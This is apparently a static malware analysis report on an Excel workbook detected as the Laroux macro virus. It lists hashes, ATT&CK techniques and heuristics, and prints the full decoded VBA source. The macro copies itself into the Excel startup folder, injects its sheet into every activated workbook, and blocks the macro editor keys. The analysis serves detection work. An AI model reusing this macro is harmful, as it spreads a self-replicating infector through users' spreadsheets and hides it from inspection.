Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 df15223aae381641…

MALICIOUS

Office (OLE)

119.0 KB Created: 2012-09-14 07:17:12 Authoring application: Microsoft Excel First seen: 2015-09-17
MD5: 381d43781be59bf5f784449a6e317f10 SHA-1: c7cea4b60403bef04fab32a5b468d3f51a27f4b7 SHA-256: df15223aae38164146054edca7b12091ec21ebc959866d7193cd6f156eee497c
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic and the presence of VBA macros indicate malicious intent. The Auto_Open macro attempts to copy the workbook to the Excel startup folder as 'StartUp.xls', establishing persistence. The script also manipulates sheet activation and key bindings, likely to evade detection or ensure execution.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1459 bytes
SHA-256: 2ea3facc2f04ea2e2263292fb02ceb65c3b50ef964df51a03d5bc1a62926e564
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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